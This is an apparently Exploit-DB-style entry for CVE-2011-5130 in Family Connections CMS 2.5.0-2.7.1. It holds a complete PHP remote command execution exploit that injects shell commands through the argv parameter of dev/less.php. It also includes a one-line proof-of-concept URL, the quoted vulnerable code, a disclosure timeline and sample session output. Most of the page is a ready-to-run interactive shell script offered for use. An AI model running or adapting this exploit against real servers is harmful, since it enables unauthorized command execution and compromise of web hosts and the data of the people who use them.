Exploit Family Connections CMS 2.5.0/2.7.1 - 'less.php' Remote Command Execution

[Exploiter]

EDB-ID

18198

Проверка EDB

1. Пройдено

Автор

MR_ME

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2011-5130

Дата публикации

2011-12-04

<?php
/*
Family connections CMS v2.5.0-v2.7.1 remote command execution exploit
vendor_________: https://www.familycms.com/
software link__: https://www.familycms.com/download.php
author_________: mr_me::rwx kru
email__________: steventhomasseeley!gmail!com
----------------------------------
php.ini requirements: 
register_globals=On
register_argc_argv=Off

This bug is almost identical to CVE-2005-2651
poc: http://192.168.220.128/[path]/dev/less.php?argv[1]=|id;

The vulnerable code is on lines 20-36 in ./dev/less.php:
-->
$theme = isset($argv[1]) ? $argv[1] : 'default';

system("clear");

if (file_exists("$dir/themes/$theme/style.css"))
{
    echo "\n[ themes/$theme/style.css ] already exists.\n\n";
    echo "Overwrite [ y/n ] ? ";
    $handle = fopen ("php://stdin","r");
    $line = fgets($handle);
    if (trim($line) != 'y')
    {
        exit;
    }
}

$worked = system("php -q ~/bin/lessphp/lessc $dir/themes/$theme/dev.less > $dir/themes/$theme/style.css");
<--

Timeline:
- Nov 28th discovered and reported using ticket 407 (http://sourceforge.net/apps/trac/fam-connections/ticket/407)
- Dec 2nd, vendors stated that they will fix the issue
- Dec 4th, vendors keep pushing back release 2.7.2 with no proper planned date
- Dec 4th, Public disclosure
-----------------------------------
mr_me@gliese:~/pentest/web/0day/fcms$ php poc.php -t 192.168.220.128 /webapps/FCMS_2.7.1/ -p 127.0.0.1:8080

--------------------------------------------------------------------------------
Family Connections CMS v2.5.0-v2.7.1 (less.php) remote command execution exploit
by mr_me of rwx kru - net-ninja.net / rwx.biz.nf
--------------------------------------------------------------------------------
(+) Setting the proxy to 127.0.0.1:8080

[email protected]# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[email protected]# uname -a
Linux steve-web-server 2.6.35-31-generic #62-Ubuntu SMP Tue Nov 8 14:00:30 UTC 2011 i686 GNU/Linux
[email protected]# q
*/

print_r("
--------------------------------------------------------------------------------
Family Connections CMS v2.5.0-v2.7.1 (less.php) remote command execution exploit
by mr_me of rwx kru - net-ninja.net / rwx.biz.nf
--------------------------------------------------------------------------------
");

if ($argc < 3) {
print_r("
-----------------------------------------------------------------------------
Usage: php ".$argv[0]." -t <host:ip> -d <path> OPTIONS
host:      target server (ip/hostname)
path:      directory path to wordpress
Options:
 -p[ip:port]: specify a proxy
Example:
php ".$argv[0]." -t 192.168.1.5 -d /wp/ -p 127.0.0.1:8080
php ".$argv[0]." -t 192.168.1.5 -d /wp/
-----------------------------------------------------------------------------
"); die; 
}

error_reporting(7);
ini_set("max_execution_time", 0);
ini_set("default_socket_timeout", 5);

$proxy_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)";

function setArgs($argv){
	$_ARG = array();
	foreach ($argv as $arg){
		if (ereg("--([^=]+)=(.*)", $arg, $reg)){
			$_ARG[$reg[1]] = $reg[2];
		}elseif(ereg("^-([a-zA-Z0-9])", $arg, $reg)){
			$_ARG[$reg[1]] = "true";
		}else {
			$_ARG["input"][] = $arg;
		}
	}
	return $_ARG;
}


$myArgs = setArgs($argv);
$host = $myArgs["input"]["1"];
$path = $myArgs["input"]["2"];

if (strpos($host, ":") == true){
	$hostAndPort = explode(":",$myArgs["input"][1]);
	$host = $hostAndPort[0];
	$port = (int)$hostAndPort[1];
}else{
	$port = 80;
}


if(strcmp($myArgs["p"],"true") === 0){
	$proxyAndPort = explode(":",$myArgs["input"][3]);
	$proxy = $proxyAndPort[0];
	$pport = $proxyAndPort[1];
	echo "(+) Setting the proxy to ".$proxy.":".$pport."\r\n";
}else{
    	echo "(-) Warning, a proxy was not set\r\n";
}

// rgods sendpacketii() function
function sendpacket($packet){
	global $myArgs, $proxy, $host, $pport, $port, $html, $proxy_regex;
	if (strcmp($myArgs["p"],"true") != 0) {
		$ock = fsockopen(gethostbyname($host),$port);
		if (!$ock) {
			echo "(-) No response from ".$host.":".$port; die;
		}
	}
	else {
		$c = preg_match($proxy_regex,$proxy);
		if (!$c) {
			echo "(-) Not a valid proxy...\n"; die;
		}
		$ock=fsockopen($proxy,$pport);
		if (!$ock) {
			echo "(-) No response from proxy..."; die;
		}
	}
	fputs($ock,$packet);
	if ($proxy == "") {
		$html = "";
		while (!feof($ock)) {
			$html .= fgets($ock);
		}
	}else {
		$html = "";
		while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a), $html))) {
			$html .= fread($ock,1);
		}
	}
	fclose($ock);
}

if (strcmp($myArgs["p"], "true") != 0) {$p = $path;} else {$p = "http://".$host.":".$port.$path;}

function read(){
	$fp1 = fopen("/dev/stdin", "r");
	$input = fgets($fp1, 255);
	fclose($fp1);
	return $input;
}

while ($cmd != "q"){
	echo "\n".get_current_user()."@".$host."# ";
	$cmd = trim(read());
	$c = urlencode("echo fcms_start;".$cmd.";echo fcms_end");
	$packet = "GET ".$p."dev/less.php?argv[1]=|".$c."; HTTP/1.1\r\n";
	$packet .= "host: ".$host."\r\n\r\n";
	if ($cmd != "q"){
		sendpacket($packet);
		$html = explode("fcms_start",$html);
		$___response = explode("fcms_end",$html[2]);
		echo (trim($___response[0]));
    	}
}
?>